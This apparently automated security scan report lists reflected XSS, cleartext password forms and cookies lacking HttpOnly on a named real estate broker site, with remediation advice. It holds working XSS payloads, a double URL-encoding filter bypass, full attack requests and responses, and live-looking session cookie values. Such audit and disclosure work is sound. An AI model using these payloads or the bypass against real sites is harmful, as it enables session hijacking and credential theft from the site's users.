XSS, Reflected Cross Site Scripting, CWE-79, CAPEC-86, DORK, GHDB, preferredbrokersite.com

Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.

The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.

Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).

The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.

Remediation background

In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defences:

Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).

In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.

1.1. http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/images/RECos/1198/js/0.js [REST URL parameter 5] next

Summary

Severity:	High
Confidence:	Certain
Host:	http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Path:	/images/RECos/1198/js/0.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7f4ae%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25223bf4ada965 was submitted in the REST URL parameter 5. This input was echoed as 7f4ae"style="x:expression(alert(1))"3bf4ada965 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 5 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /images/RECos/1198/js/7f4ae%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%25223bf4ada965?v=1.24 HTTP/1.1
Host: century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Proxy-Connection: keep-alive
Referer: http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/pages/map-search
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BrokerOffice_Session=SessionCookie=980ea67d-bab3-416a-bc85-6f84b8b8a23b

Response

HTTP/1.1 404 Not Found
Date: Tue, 23 Aug 2011 14:22:45 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMo TAIo OUR STP COM INT STA PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
X-Powered-By: UrlRewriter.NET 1.8.0
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 17788
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<h
...[SNIP]...
<body id="404" class="bodyclass js-7f4ae"style="x:expression(alert(1))"3bf4ada965">
...[SNIP]...

1.2. http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/images/recos/1198/js/1.js [REST URL parameter 5] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Path:	/images/recos/1198/js/1.js

Issue detail

The value of REST URL parameter 5 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6033c%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522364d813bf80 was submitted in the REST URL parameter 5. This input was echoed as 6033c"style="x:expression(alert(1))"364d813bf80 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbitrary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Request

GET /images/recos/1198/js/6033c%2522style%253d%2522x%253aexpression%2528alert%25281%2529%2529%2522364d813bf80?v=852f183a01aede9061cd6ca0bd31876a HTTP/1.1
Host: century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Proxy-Connection: keep-alive
Referer: http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/pages/map-search
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Content-Type: application/x-www-form-urlencoded
Accept: text/javascript, application/javascript, */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BrokerOffice_Session=SessionCookie=980ea67d-bab3-416a-bc85-6f84b8b8a23b; owid=383363; CMAVID=70051313543214176105553

Response

HTTP/1.1 404 Not Found
Date: Tue, 23 Aug 2011 14:22:54 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMo TAIo OUR STP COM INT STA PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
X-Powered-By: UrlRewriter.NET 1.8.0
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 17790
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<h
...[SNIP]...
<body id="404" class="bodyclass js-6033c"style="x:expression(alert(1))"364d813bf80">
...[SNIP]...

1.3. http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/pages/a [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Path:	/pages/a

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7d096%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e80818a4ba53 was submitted in the REST URL parameter 2. This input was echoed as 7d096"><img src=a onerror=alert(1)>80818a4ba53 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.

Request

GET /pages/a7d096%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e80818a4ba53 HTTP/1.1
Host: century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/pages/map-searchd8910%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e6c4743bf3e973b840?AddressGoto=&Criteria%2FListingNumber=&Criteria%2FListingTypeID=&Criteria%2FLocation=02110&Criteria%2FLocationType=Zip+Code&Criteria%2FMaxPrice=900000&Criteria%2FMaxSquareFootage=Maximum&Criteria%2FMinBathrooms=3&Criteria%2FMinBedrooms=3&Criteria%2FMinPrice=600000&Criteria%2FSearchType=&Criteria%2FSquareFootage=3000&SearchTab=&TabsMode=&NewHomesSessionId=&BankOwnedHomesSessionId=&Partner=eh&ShowDisclaimer=1&WebsiteID=383363
Cookie: owid=383363; CMAVID=none; bacDomain=true; rBW-ListingSearch-383363=e42e54a8-5886-4eeb-9fa4-2350fdb759f5; BrokerOffice_Session=SessionCookie=980ea67d-bab3-416a-bc85-6f84b8b8a23b; cmRS=t3=1314113229614&pi=

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 15:27:21 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMo TAIo OUR STP COM INT STA PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
X-Powered-By: UrlRewriter.NET 1.8.0
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: BrokerOffice_Session=SessionCookie=980ea67d-bab3-416a-bc85-6f84b8b8a23b2cb17c26b9abd45c87ec148f; expires=Mon, 23-Aug-2021 15:27:21 GMT; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 16546
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<h
...[SNIP]...
<body id="content-content" class="bodyclass pages-a7d096"><img src=a onerror=alert(1)>80818a4ba53">
...[SNIP]...

1.4. http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/pages/existing-homes [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Path:	/pages/existing-homes

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8073e%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253eb60ce9c34cd was submitted in the REST URL parameter 2. This input was echoed as 8073e"><img src=a onerror=alert(1)>b60ce9c34cd in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

Remediation detail

Request

GET /pages/existing-homes8073e%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253eb60ce9c34cd HTTP/1.1
Host: century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Proxy-Connection: keep-alive
Referer: http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/pages/map-search
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BrokerOffice_Session=SessionCookie=980ea67d-bab3-416a-bc85-6f84b8b8a23b; owid=383363; CMAVID=70051313543214176105553; cmTPSet=Y

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 14:23:04 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMo TAIo OUR STP COM INT STA PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
X-Powered-By: UrlRewriter.NET 1.8.0
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: BrokerOffice_Session=SessionCookie=980ea67d-bab3-416a-bc85-6f84b8b8a23b2cb17c266c1c9db2cebad97f; expires=Mon, 23-Aug-2021 14:23:04 GMT; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 16872
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<h
...[SNIP]...
<body id="content-content" class="bodyclass pages-existing-homes8073e"><img src=a onerror=alert(1)>b60ce9c34cd">
...[SNIP]...

1.5. http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/pages/map-search [REST URL parameter 2] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Path:	/pages/map-search

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d8910%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e6c4743bf3e973b840 was submitted in the REST URL parameter 2. This input was echoed as d8910"><img src=a onerror=alert(1)>6c4743bf3e973b840 in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.

The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.

The original request used the POST method, however it was possible to convert the request to use the GET method, to enable easier demonstration and delivery of the attack.

Remediation detail

Request

GET /pages/map-searchd8910%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e6c4743bf3e973b840?AddressGoto=&Criteria%2FListingNumber=&Criteria%2FListingTypeID=&Criteria%2FLocation=02110&Criteria%2FLocationType=Zip+Code&Criteria%2FMaxPrice=900000&Criteria%2FMaxSquareFootage=Maximum&Criteria%2FMinBathrooms=3&Criteria%2FMinBedrooms=3&Criteria%2FMinPrice=600000&Criteria%2FSearchType=&Criteria%2FSquareFootage=3000&SearchTab=&TabsMode=&NewHomesSessionId=&BankOwnedHomesSessionId=&Partner=eh&ShowDisclaimer=1&WebsiteID=383363 HTTP/1.1
Host: century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Proxy-Connection: keep-alive
Referer: http://realestatecenter.bankofamerica.com/pages/map-search
Cache-Control: max-age=0
Origin: http://realestatecenter.bankofamerica.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 14:27:00 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMo TAIo OUR STP COM INT STA PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
X-Powered-By: UrlRewriter.NET 1.8.0
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: BrokerOffice_Session=SessionCookie=980ea67d-bab3-416a-bc85-6f84b8b8a23b; expires=Mon, 23-Aug-2021 14:27:00 GMT; path=/
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 16876
Vary: Accept-Encoding
Connection: Keep-Alive

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<h
...[SNIP]...
<body id="content-content" class="bodyclass pages-map-searchd8910"><img src=a onerror=alert(1)>6c4743bf3e973b840">
...[SNIP]...

2. Cleartext submission of password previous next
There are 3 instances of this issue:

/jscss/19.2.612/dc11b1e5-6825-4fab-9722-d0bb8bfba4d8.js
/jscss/19.2.612/dc11b1e5-6825-4fab-9722-d0bb8bfba4d8.js
/jscss/19.2.612/dc11b1e5-6825-4fab-9722-d0bb8bfba4d8.js

Issue background

Passwords submitted over an unencrypted connection are vulnerable to capture by an attacker who is suitably positioned on the network. This includes any malicious party located on the user's own network, within their ISP, within the ISP used by the application, and within the application's hosting infrastructure. Even if switched networks are employed at some of these locations, techniques exist to circumvent this defence and monitor the traffic passing through switches.

Issue remediation

The application should use transport-level encryption (SSL or TLS) to protect all sensitive communications passing between the client and the server. Communications that should be protected include the login mechanism and related functionality, and any functions where sensitive data can be accessed or privileged actions can be performed. These areas of the application should employ their own session handling mechanism, and the session tokens used should never be transmitted over unencrypted communications. If HTTP cookies are used for transmitting session tokens, then the secure flag should be set to prevent transmission over clear-text HTTP.

2.1. http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/jscss/19.2.612/dc11b1e5-6825-4fab-9722-d0bb8bfba4d8.js previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Path:	/jscss/19.2.612/dc11b1e5-6825-4fab-9722-d0bb8bfba4d8.js

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.fidelityez.com/default.aspx

The form contains the following password field:

password

Request

GET /jscss/19.2.612/dc11b1e5-6825-4fab-9722-d0bb8bfba4d8.js HTTP/1.1
Host: century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Proxy-Connection: keep-alive
Referer: http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/pages/map-search
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BrokerOffice_Session=SessionCookie=980ea67d-bab3-416a-bc85-6f84b8b8a23b

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 14:21:48 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMo TAIo OUR STP COM INT STA PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
X-Powered-By: UrlRewriter.NET 1.8.0
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Cache-Control: public
Expires: Wed, 22 Aug 2012 14:21:48 GMT
Last-Modified: Tue, 09 Aug 2011 22:59:30 GMT
Content-Type: text/javascript; charset=utf-8
Content-Length: 93838
Vary: Accept-Encoding
Connection: Keep-Alive

(function(e){var d=e.ajax;var a={};var c=[];var b=[];e.ajax=function(h){h=jQuery.extend(h,jQuery.extend({},jQuery.ajaxSettings,h));var g=h.port;switch(h.mode){case"abort":if(a[g]){a[g].abort()}return
...[SNIP]...
</form>")}function EZOrderLoginWidget(){document.write('<form name=EZLogin action="http://www.fidelityez.com/default.aspx" method=post target="_blank">');document.write('<table cellpadding=5 class="widgetTable" width="'+widget_width+'" >
...[SNIP]...
<td><input style="WIDTH: 150px" type=password size=32 name=password><input type="hidden" name="ReturnUrl" value="SearchOrders.aspx">
...[SNIP]...

2.2. http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/jscss/19.2.612/dc11b1e5-6825-4fab-9722-d0bb8bfba4d8.js previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Path:	/jscss/19.2.612/dc11b1e5-6825-4fab-9722-d0bb8bfba4d8.js

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.fidelitypassport.com/logon.asp?CMD=LOGON

The form contains the following password field:

password

Request

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 14:21:48 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMo TAIo OUR STP COM INT STA PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
X-Powered-By: UrlRewriter.NET 1.8.0
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Cache-Control: public
Expires: Wed, 22 Aug 2012 14:21:48 GMT
Last-Modified: Tue, 09 Aug 2011 22:59:30 GMT
Content-Type: text/javascript; charset=utf-8
Content-Length: 93838
Vary: Accept-Encoding
Connection: Keep-Alive

(function(e){var d=e.ajax;var a={};var c=[];var b=[];e.ajax=function(h){h=jQuery.extend(h,jQuery.extend({},jQuery.ajaxSettings,h));var g=h.port;switch(h.mode){case"abort":if(a[g]){a[g].abort()}return
...[SNIP]...
</form>")}function PassportLoginWidgetCC(){document.write('<form name=PassportLogin action=http://www.fidelitypassport.com/logon.asp?CMD=LOGON method=post target="_blank">');document.write('<table style="border: solid 1px '+widget_borderColor+";background: "+widget_bgColor+';" cellpadding=5 class="widgetTable" width="'+widget_width+'">
...[SNIP]...
<td><input style="WIDTH: 150px" type=password size=32 name=password></td>
...[SNIP]...

2.3. http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/jscss/19.2.612/dc11b1e5-6825-4fab-9722-d0bb8bfba4d8.js previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Path:	/jscss/19.2.612/dc11b1e5-6825-4fab-9722-d0bb8bfba4d8.js

Issue detail

The page contains a form with the following action URL, which is submitted over clear-text HTTP:

http://www.fidelityez.com/default.aspx

The form contains the following password field:

password

Request

Response

HTTP/1.1 200 OK
Date: Tue, 23 Aug 2011 14:21:48 GMT
Server: Microsoft-IIS/6.0
P3P: CP="CAO DSP COR CURa ADMo TAIo OUR STP COM INT STA PRE"
X-Powered-By: ASP.NET
X-AspNet-Version: 4.0.30319
X-Powered-By: UrlRewriter.NET 1.8.0
p3p: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Cache-Control: public
Expires: Wed, 22 Aug 2012 14:21:48 GMT
Last-Modified: Tue, 09 Aug 2011 22:59:30 GMT
Content-Type: text/javascript; charset=utf-8
Content-Length: 93838
Vary: Accept-Encoding
Connection: Keep-Alive

(function(e){var d=e.ajax;var a={};var c=[];var b=[];e.ajax=function(h){h=jQuery.extend(h,jQuery.extend({},jQuery.ajaxSettings,h));var g=h.port;switch(h.mode){case"abort":if(a[g]){a[g].abort()}return
...[SNIP]...
</form>")}function EZOrderLoginWidgetCC(){document.write('<form name=EZLogin action="http://www.fidelityez.com/default.aspx" method=post target="_blank">');document.write('<table style="border: solid 1px '+widget_borderColor+";background: "+widget_bgColor+';" cellpadding=5 class="widgetTable" width="'+widget_width+'" >
...[SNIP]...
<td><input style="WIDTH: 150px" type=password size=32 name=password><input type="hidden" name="ReturnUrl" value="SearchOrders.aspx">
...[SNIP]...

3. Cookie without HttpOnly flag set previous next
There are 5 instances of this issue:

/
/listing/searchhandler.aspx
/pages/a
/pages/existing-homes
/pages/map-search

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

3.1. http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Path:	/

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

BrokerOffice_Session=SessionCookie=fa1600f0-fbfe-4413-a92c-42294e063817; expires=Mon, 23-Aug-2021 15:26:47 GMT; path=/
ListingSearch-383363=e42e54a8-5886-4eeb-9fa4-2350fdb759f5; path=/
rBW-ListingSearch-383363=e42e54a8-5886-4eeb-9fa4-2350fdb759f5; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET / HTTP/1.1
Host: century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/pages/map-searchd8910%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%2528document.location%2529%253e6c4743bf3e973b840?AddressGoto=&Criteria%2FListingNumber=&Criteria%2FListingTypeID=&Criteria%2FLocation=02110&Criteria%2FLocationType=Zip+Code&Criteria%2FMaxPrice=900000&Criteria%2FMaxSquareFootage=Maximum&Criteria%2FMinBathrooms=3&Criteria%2FMinBedrooms=3&Criteria%2FMinPrice=600000&Criteria%2FSearchType=&Criteria%2FSquareFootage=3000&SearchTab=&TabsMode=&NewHomesSessionId=&BankOwnedHomesSessionId=&Partner=eh&ShowDisclaimer=1&WebsiteID=383363
Cookie: owid=383363; CMAVID=none; bacDomain=true

Response

3.2. http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/listing/searchhandler.aspx previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Path:	/listing/searchhandler.aspx

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

BrokerOffice_Session=SessionCookie=980ea67d-bab3-416a-bc85-6f84b8b8a23b; expires=Mon, 23-Aug-2021 14:22:25 GMT; path=/
CustomerWebsiteVisit=eae1bbe2-94e7-45c8-bd29-d9725fa5b758; expires=Thu, 22-Sep-2011 14:22:24 GMT; path=/
rBW-PreferredBrokerWebsiteUrl=century21heritagerealtyassociates-75976.lps.preferredbrokersite.com; path=/
rBW-CustomerWebsiteVisit=eae1bbe2-94e7-45c8-bd29-d9725fa5b758; expires=Thu, 22-Sep-2011 14:22:25 GMT; path=/
rBW-PublicWebsiteID=383363; path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /listing/searchhandler.aspx?WebsiteID=383363&Location=02110&LocationType=Zip%20Code&Baths=3&Beds=3&MinPrice=600000&MaxPrice=900000&MinInteriorSqFt=3000&MaxInteriorSqFt=Maximum&timestamp=1314109337803 HTTP/1.1
Host: century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Proxy-Connection: keep-alive
Referer: http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/pages/existing-homes
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.112 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: BrokerOffice_Session=SessionCookie=980ea67d-bab3-416a-bc85-6f84b8b8a23b; CMAVID=70051313543214176105553; cmTPSet=Y; bacDomain=true; owid=383363

Response

3.3. http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com/pages/a previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://century21heritagerealtyassociates-75976.lps.preferredbrokersite.com
Path:	/pages/a

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

BrokerOffice_Session=SessionCookie=980ea67d-bab3-416a-bc85-6f84b8b8a23b; expires=Mon, 23-Aug-2021 15:26:49 GMT; path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /pages/a HTTP/1.1
